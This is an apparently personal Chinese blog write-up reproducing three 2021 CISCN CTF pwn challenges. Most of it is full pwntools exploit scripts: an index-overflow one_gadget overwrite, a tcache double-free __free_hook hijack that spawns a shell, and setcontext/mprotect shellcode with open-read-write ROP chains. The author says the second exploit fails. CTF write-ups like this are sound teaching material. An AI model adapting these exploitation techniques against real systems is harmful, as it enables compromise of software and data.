eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

ciscn线上赛复现

2021 ciscn线上赛

1.pwny

这道题好像是解出来的比较多的,程序也没什么特别的,只有read和write两个函数,整体思想就是通过数组下标的溢出来控制各个数据,以达成泄露和任意写的目的哦~

不过在编写exp的时候有一个函数学到了一些,因为达到溢出的时候可能会传入一个负数的下标,但是计算机并不知道这是负数啊,0xFFFFFFFFFFFFFFFF是-1

1
2
3
4
5
def trans(x):
if (x >= 0):
return x
else:
return 0xFFFFFFFFFFFFFFFFFFFF + 1 + X

还有一个点就是利用environ找偏移时的调试过程。固定偏移为0x120

经过这次调试我对调试有了更深的了解。下面我们来介绍一下我调试的过程

1.

在上面的gdb.attach(p)就是运行脚本到此位置时打开gdb调试,然后在gdb框中输入c,就会运行到pause()处,然后我们就可以进行调试

2.

找到后三为b20的函数,s进入,直到ret处就可以了(因为ida里ba0为write的地址)

其他的就是泄露libc基址和程序基址喽,然后改写write函数的返回地址为onegadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
def read(idx):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('Index: ')
p.send(idx)

def write(idx):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))

def write_content(idx,content):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.send(content)

def trans(x):
if (x >= 0):
return x
else:
return 0xFFFFFFFFFFFFFFFF + x + 1
def g():
gdb.attach(p)
input()

libc = ELF('./libc-2.27.so')

p = process('./pwny',env={"LD_PRELOAD":"./libc-2.27.so"})
#gdb.attach(p)

write(256)
write(256)
base = 0x202060
read(p64(trans((0x201f98-base)/8)))
p.recvuntil("Result: ")

libc_base = int(p.recvuntil("\n")[:-1],base = 16) - libc.sym["puts"]
one_gadget = libc_base + 0x10a41c
success("libc_base:"+hex(libc_base))

read(p64(trans((0x201D88-0x202060)/8)))
p.recvuntil("Result: ")
bss_addr = int(p.recvuntil("\n")[:-1],base = 16) - 0x9C0 + base
success("bss_addr:"+hex(bss_addr))

environ = libc.symbols['environ'] + libc_base


read(p64(trans((environ-bss_addr)/8)))
pause()
p.recvuntil("Result: ")
ret_addr = int(p.recvuntil('\n')[:-1], base = 16)-0x120
success("ret_addr:"+hex(ret_addr))
write_content((ret_addr-bss_addr)/8, p64(one_gadget))


p.interactive()

2.lonelywolf

这题很妙啊,有UAF,double free,但是只能控制一个chunk,即第一个chunk,并且申请大小不能大于0x78,如果申请了两个chunk,只能控制新申请的

所以这题我们直接控制tcache结构体就好啦,我们就可以分配到任意想分配的地方,直接上exp,但是我不知道为啥打不通,思路应该没错呀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.log_level = "debug"
p = process("./lonelywolf")
libc = ELF("./libc-2.27.so")
def g():
gdb.attach(p)
input()

def add(size):
p.sendlineafter("Your choice: ","1")
p.sendlineafter("Index: ","0")
p.sendlineafter("Size: ",str(size))

def edit(content):
p.sendlineafter("Your choice: ","2")
p.sendlineafter("Index: ","0")
p.sendlineafter("Content: ",content)

def show():
p.sendlineafter("Your choice: ","3")
p.sendlineafter("Index: ","0")

def free():
p.sendlineafter("Your choice: ","4")
p.sendlineafter("Index: ","0")

add(0x78)
edit("\x00")
free()
edit("\x00")
free()
show() #double free在fd指针留下heap的地址以便泄露
p.recvuntil("Content: ")
heap_addr = u64(p.recv(6).ljust(8,"\x00")) - 0x260
success("heap_addr:"+hex(heap_addr))


edit(p64(heap_addr+0x10))
add(0x70)
add(0x70) #申请到tcache的结构体,达到控制的效果
edit('\x00'*0x23 + '\x07') #修改大小为0x250大小的数量

free() #tcache的结构体进入unsortedbin
show() #泄露
p.recvuntil("Content: ")
main_arena = u64(p.recv(6).ljust(8,"\x00"))
libc_base = main_arena - 0x70 - libc.sym["__malloc_hook"]
success("libc_base:"+hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]

edit('\x03' + '\x00'*0x3F + p64(free_hook-8)) #打free_hook,啊啊啊啊,打不通好烦
add(0x18)
#edit(p64(libc_base+0x10a41c))
edit("/bin/sh\x00"+p64(system))

free()

p.interactive()

明天继续干

3.silverwolf(待续)

这道题我看了别人的wp,大概有两种解法,一个是布置orw,另一个是用onegadget,我也不知道为什么开了沙箱还能用onegadget

利用orw的时候,需要先知道一个事,就是释放堆块之后rdi变成该堆块的user起始地址。我用的是在free_hook+0xa0处布置一个read函数用来接收orw的rop,因为申请chunk的空间很小。还有一种布置rop的方法,最后用puts函数,不用write函数,因为puts函数的参数少

不需要heap的构造有两种,第一种是先改权限,再调用read函数输入orw

另一种是先调用read函数,再将改权限和orw一起输入

即都是控制rip和rsp呗,构造成一个chain

setcontext+53用法

在free_hook上填入setcontext+53,然后在要free的堆处布置好(可以用pwntools的SigreturnFrame来构造rsp和rip)这里一般是mprotect提高某个我们能控制的位置的权限,要注意,构造的rsp就是rdi+0xa0,rip就是rcx。

rsp赋值为接下来要执行的shellcode1为read系统调用,然后传入shellcode2(即orw,但是这种方法不用泄露heap地址)

1
2
3
4
5
6
7
8
9
10
11
new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi, rdi
mov rsi, {}
mov rdx, 0x1000
mov rax, 0
syscall
jmp rsi
'''.format(new_addr)
edit(1,p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1)) #布置free_hook处的数据

1
2
3
4
5
6
7
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(0,str(frame)) #传入要free掉的堆
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
sl(io,asm(shellcode2)) #最后传入的shellcode2

泄露heap地址的orw就简单好多,只需要在一个要free掉的chunk内构造fake_rsp,fake_rip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p = 'a'*0xa0 + p64(fake_rsp) + p64(ret) #rsp  rip 	
p = p.ljust(0xb0, '\x00')
p += './flag\x00\x00'
p += p64(0)
p += p64(pop_rdi_ret) + p64(flag)
p += p64(pop_rsi_ret) + p64(0)
p += p64(libc_base+libc.sym['open'])
p += p64(pop_rdi_ret) + p64(3)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['read'])
p += p64(pop_rdi_ret) + p64(1)
p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
p += p64(libc_base + libc.sym['write'])
add(0x400, p)#10
free(10)